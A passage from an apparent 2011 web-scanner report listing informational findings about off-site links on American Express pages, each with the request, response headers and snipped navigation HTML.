https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:20 GMT
Server: IBM_HTTP_Server
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: mertkit_JSESSIONID=0000a-qFEyjWmRA77-ia4auLoKF:15bvkorqu; Path=/
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Set-Cookie: BIGipServerwww260-443=873204234.47873.0000; path=/
Content-Length: 45136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
   <head>



...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.226. https://www209.americanexpress.com/merchant/marketing-data/pages/reportsandtrends previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/reportsandtrends

Issue detail

The page was loaded from a URL containing a query string:

https://www209.americanexpress.com/merchant/marketing-data/pages/reportsandtrends?inav=menu_business_merchspend

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /merchant/marketing-data/pages/reportsandtrends?inav=menu_business_merchspend HTTP/1.1
Host: www209.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:19 GMT
Server: IBM_HTTP_Server
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: mertkit_JSESSIONID=0000vCUE1dTxz8Jq7O6AGDqud0k:15bvkpc1o; Path=/
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Set-Cookie: BIGipServerwww260-443=873204234.47873.0000; path=/
Content-Length: 47317

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.227. http://www212.americanexpress.com/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do

Issue detail

The page was loaded from a URL containing a query string:

http://www212.americanexpress.com/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do?vgnextoid=80fb5cb4cdcaf110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_Terms_of_Use

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do?vgnextoid=80fb5cb4cdcaf110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_Terms_of_Use HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:31 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000I_9BwYv9OR-RsFXZFZ2MxyD:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 54436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>American Express Web Site Rules
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.228. https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do?vgnextoid=7512db7ad9220210VgnVCM100000defaad94RCRD&source=footer_resources_for_cardmembers

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do?vgnextoid=7512db7ad9220210VgnVCM100000defaad94RCRD&source=footer_resources_for_cardmembers HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:32 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000S27VvoyTtb6i5ZHu4N1gX9R:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 47711

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>Resources for Cardmembers</title><META name="keywords" content="Consumer Landing Page"><META name="descript
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.229. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do?vgnextoid=24c615ab025ed010VgnVCM10000084b3ad94RCRD&vgnextchannel=3c830da9846dd010VgnVCM10000084b3ad94RCRD&name=globalassist_allccsg_shareddetails&type=intBenefitDetail&inav=menu_travel_globalassist

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.globaltravelshield.com/
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do?vgnextoid=24c615ab025ed010VgnVCM10000084b3ad94RCRD&vgnextchannel=3c830da9846dd010VgnVCM10000084b3ad94RCRD&name=globalassist_allccsg_shareddetails&type=intBenefitDetail&inav=menu_travel_globalassist HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:42 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000tCvGbGndKoEexD0t5NrfpjQ:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 36447

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Global Assist Hotline - American
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<br /> <a title="" href="https://www.globaltravelshield.com/">Learn More</a>
...[SNIP]...

20.230. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do?vgnextoid=2621c0f7c5a4c110VgnVCM100000defaad94RCRD&vgnextchannel=9ee6d6954360c110VgnVCM100000defaad94RCRD&appinstancename=default&source=footer_fraud_protection_center

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do?vgnextoid=2621c0f7c5a4c110VgnVCM100000defaad94RCRD&vgnextchannel=9ee6d6954360c110VgnVCM100000defaad94RCRD&appinstancename=default&source=footer_fraud_protection_center HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:44 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=00003fPhgAnCYlfDH1iRr0MTOO2:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 38887

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Fraud Protection Center</title>

...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.231. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do?vgnextoid=2e265b3a7fba9210VgnVCM100000defaad94RCRD&inav=menu_cards_reloadablecards

The response contains the following links to other domains:

https://fls.doubleclick.net/activityi;src=1293907;type=2010_673;cat=pass_064;ord=1;num=1?
https://fls.doubleclick.net/activityi;src=1910047;type=teenp965;cat=passh142;ord=1;num=1?
https://pixel.mathtag.com/event/js?mt_id=10080&v1=&v2=&v3=&s1=&s2=&s3=
https://www.adelixir.com/NeROITrack/835/?busassid=835
https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do?vgnextoid=2e265b3a7fba9210VgnVCM100000defaad94RCRD&inav=menu_cards_reloadablecards HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:36 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000MmQi449fNUcT9lsI5NV8EQE:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 58591

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Prepaid Reloadable Card: PASS fr
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<noscript> <iframe src="https://fls.doubleclick.net/activityi;src=1910047;type=teenp965;cat=passh142;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
<noscript> <iframe src="https://fls.doubleclick.net/activityi;src=1293907;type=2010_673;cat=pass_064;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
 <script type="text/javascript" src="https://pixel.mathtag.com/event/js?mt_id=10080&v1=&v2=&v3=&s1=&s2=&s3="></script>
...[SNIP]...
 <script src='https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js' type='text/javascript'> </script>
...[SNIP]...
<noscript> <img height='1' width='1' border='0' src='https://www.adelixir.com/NeROITrack/835/?busassid=835'> </noscript>
...[SNIP]...

20.232. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do?vgnextoid=6d17fc671492a110VgnVCM100000defaad94RCRD&inav=menu_travel_cheques

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum
https://www5.bankofamerica.com/foreigncurrency/index.action

Request

GET /dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do?vgnextoid=6d17fc671492a110VgnVCM100000defaad94RCRD&inav=menu_travel_cheques HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:38 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=00006WOnq0qpQzJxYgpgaQnyvPd:14qpqp8bv; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 36890

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>American Express Travelers Chequ
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<strong>Bank of America Customers: <A href="https://www5.bankofamerica.com/foreigncurrency/index.action">Buy Travelers Cheques Online</A>
...[SNIP]...

20.233. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do?vgnextoid=f25533fadb4ca110VgnVCM100000defaad94RCRD&vgnextchannel=9823f30b6b1ca110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_privacy_statement

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:45 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000U01HD7ILpMUGqR_UyygusU9:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 55185

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Internet Privacy Statement</titl
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.234. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do?vgnextoid=988c78276da87210VgnVCM200000d0faad94RCRD&inav=menu_travel_open

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum
https://www.openforum.com/?cid=inav_home&inav=open_forum2
https://www.openforum.com/?cid=inav_home&inav=open_forumhome
https://www.openforum.com/connectodex/?cid=inav_connect&inav=open_forummktbusiness
https://www.openforum.com/idea-hub/?cid=inav_ideahub&inav=open_forumarticles
https://www.openforum.com/idea-hub/?cid=inav_ideahub&inav=open_forumnetwork
https://www.openforum.com/idea-hub/events/?cid=inav_ideahub_events&inav=open_forumattendevents

Request

GET /dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do?vgnextoid=988c78276da87210VgnVCM200000d0faad94RCRD&inav=menu_travel_open HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:40 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000fV5NjoXGEcXZTlrku8xph1N:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 42151

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>OPEN from American Express - Bus
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=open_forum2" id="open_forum2">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=open_forumhome" id="open_forumhome">OPEN Forum Home</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/idea-hub/?cid=inav_ideahub&inav=open_forumarticles" id="open_forumarticles">Explore Articles & Videos</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/connectodex/?cid=inav_connect&inav=open_forummktbusiness" id="open_forummktbusiness">Market Your Business</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/idea-hub/events/?cid=inav_ideahub_events&inav=open_forumattendevents" id="open_forumattendevents">Attend Events</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/idea-hub/?cid=inav_ideahub&inav=open_forumnetwork" id="open_forumnetwork">Network with Businesses</a>
...[SNIP]...

20.235. https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do?vgnextoid=72a5686c12612210VgnVCM100000defaad94RCRD&inav=menu_business_merchaccept

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do?vgnextoid=72a5686c12612210VgnVCM100000defaad94RCRD&inav=menu_business_merchaccept HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:08 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000mInRmmEjbPKUOYTey4p82Is:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 46988

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>Accept Credit Card Payments with an American Express Merchant Account</title><META name="keywords" content=
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.236. https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do

Issue detail

The page was loaded from a URL containing a query string:

https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do?vgnextoid=b79c41b80e452210VgnVCM200000d0faad94RCRD&inav=menu_business_merchaccounts

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do?vgnextoid=b79c41b80e452210VgnVCM200000d0faad94RCRD&inav=menu_business_merchaccounts HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:00 GMT
Server: IBM_HTTP_Server
